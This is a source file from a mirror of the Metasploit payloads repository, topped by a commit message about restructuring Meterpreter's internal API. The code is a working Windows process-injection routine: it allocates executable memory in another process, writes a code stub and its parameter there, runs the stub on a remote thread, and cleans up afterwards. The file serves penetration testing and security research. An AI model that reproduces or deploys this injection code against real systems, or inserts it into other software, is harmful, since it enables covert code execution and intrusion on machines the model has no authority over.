1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-08-03 14:28:09 +02:00
Files
OJ 4ffe127f04 Begin removing the delay-load dependency
The 'common' library has been removed. The only project that actually
used it was metsrv, so the code that metsrv required from common is now
directly compiled in as part of that project.

The common folder now contains files that are importanta cross all of
the projects, with a primary focus on the new "API" style function. What
this means is that MetSrv has an API that it exposes through a function
pointer that is passed to the extension when it's initialised. This
pointer references a structure with all the API functions wired in. This
means that:

* Extensions don't need to know anything about metsrv at compile time.
* The delay loading code can be removed, which was one of the last
  instances of "metsrv.dll" as a string.
* Metsrv.dll no longer exports any functions.

More to come.
2020-04-22 13:06:40 +10:00

125 lines
2.8 KiB
C

#include "precomp.h"
#include "common_metapi.h"
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
LPVOID *buffer, DWORD length, DWORD prot);
/*
* Executes a portion of code in the address space of the supplied process
* and returns the exit code of the thread that is created
*
* FIXME: can-block
*/
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
LPVOID parameter, DWORD parameterLength, LPDWORD rv)
{
HANDLE thread = NULL;
LPVOID paramInProcess = (LPVOID)parameter;
LPVOID codeInProcess = (LPVOID)buffer;
DWORD threadId;
DWORD result = ERROR_SUCCESS;
DWORD wait;
do
{
// Copy the code and parameter storage
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
{
break;
}
if ((result = copy_memory_to_process(process, TRUE, &paramInProcess,
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
{
break;
}
// Create the thread in the target process
if (!(thread = met_api->thread.create_remote(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
{
result = GetLastError();
break;
}
// Wait for the thread to terminate
while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
{
if (wait == WAIT_FAILED)
{
result = GetLastError();
break;
}
}
if (rv)
{
GetExitCodeThread(thread, rv);
}
// Free the memory in the process
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
(!VirtualFreeEx(process, paramInProcess, 0, MEM_RELEASE)))
{
result = GetLastError();
break;
}
} while (0);
// Close the thread handle if one was obtained
if (thread)
{
CloseHandle(thread);
}
return result;
}
/*
* Copies memory to the target process, optionally allocating it
*/
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
LPVOID *buffer, DWORD length, DWORD prot)
{
LPVOID remoteBuffer = *buffer;
SIZE_T written;
DWORD result = ERROR_SUCCESS;
do
{
if (allocate)
{
// Allocate storage for the buffer
if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
result = GetLastError();
break;
}
}
// Copy the memory from local to remote
if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
{
result = GetLastError();
break;
}
// Re-protect the region to have the protection mask specified
if (prot != PAGE_EXECUTE_READWRITE)
{
DWORD old;
if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
{
result = GetLastError();
break;
}
}
} while (0);
// Update the buffer pointer
*buffer = remoteBuffer;
return result;
}